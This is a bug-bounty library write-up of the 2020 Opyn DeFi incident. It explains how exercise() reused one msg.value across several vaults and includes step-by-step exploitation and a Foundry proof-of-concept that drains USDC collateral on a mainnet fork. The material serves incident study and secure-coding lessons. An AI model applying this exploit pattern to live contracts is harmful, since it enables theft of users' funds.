# Opyn: msg.value reuse in exercise() drains put collateral

Opyn ETH put options reused a single msg.value across multiple vaults in exercise(), letting an attacker mint and exercise puts to drain USDC collateral.

- Payout: Real-world hack
- Severity: critical
- Program: Opyn Protocol
- Analysis by: DeFiHackLabs
- Disclosed: 2020-08-04
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-08/Opyn_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20200804-opyn
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity vuln:accounting-error vuln:business-logic

**Target:** Opyn options contract exercise() / addERC20CollateralOption()
**Root cause:** exercise() accepted an array of vaults and credited the same msg.value to each vault in the loop instead of dividing/validating per-vault payment, so one ETH payment exercised puts on multiple vaults.
**Steps:**
1. Fork mainnet at block 10592516 as attacker 0xe7870231992Ab4b1A01814FA0A599115FE94203f.
2. Call `opyn.addERC20CollateralOption(300_000_000, 9_900_000_000, attacker)` to add USDC collateral and mint oTokens in one step.
3. Build vault array `_arr = [attacker, 0x01BDb7Ada61C82E951b9eD9F0d312DC9Af0ba0f2]`.
4. Call `opyn.exercise{value: 30 ether}(600_000_000, _arr)` so the same msg.value exercises the put on both vaults.
5. Call `opyn.removeUnderlying()` to withdraw the underlying share after exercise.
6. Check USDC balance delta for profit.
**Exploitation:** Attacker minted oTokens against USDC collateral, then exercised the put option across two vaults while paying ETH only once (msg.value reused per iteration), receiving USDC payout for both exercises, then removed underlying to realize profit.
**Insight:** When a function takes an array of accounts/vaults and is payable, check whether msg.value is consumed once or credited per iteration; batch exercise/claim loops are prime spots for msg.value reuse.

## Proof of concept (copied exactly from the original report)

**Foundry PoC exercising put on two vaults with same msg.value**

```
//Adds ERC20 collateral, and mints new oTokens in one step
        uint256 amtToCreate = 300_000_000;
        uint256 amtCollateral = 9_900_000_000;
        opyn.addERC20CollateralOption(amtToCreate, amtCollateral, attacker);

        //create an arry of vaults
        address payable[] memory _arr = new address payable[](2);
        _arr[0] = payable(0xe7870231992Ab4b1A01814FA0A599115FE94203f);
        _arr[1] = payable(0x01BDb7Ada61C82E951b9eD9F0d312DC9Af0ba0f2);

        //The attacker excercises the put option on two different valuts using the same msg.value
        opyn.exercise{value: 30 ether}(600_000_000, _arr);

        //remove share of underlying after excercise
        opyn.removeUnderlying();

        uint256 balAfter = usdc.balanceOf(attacker) / 1e6;
        console.log("Attacker USDC balance after is     ", balAfter);
        console.log("Attacker profit is                  ", balAfter - balBefore);
```

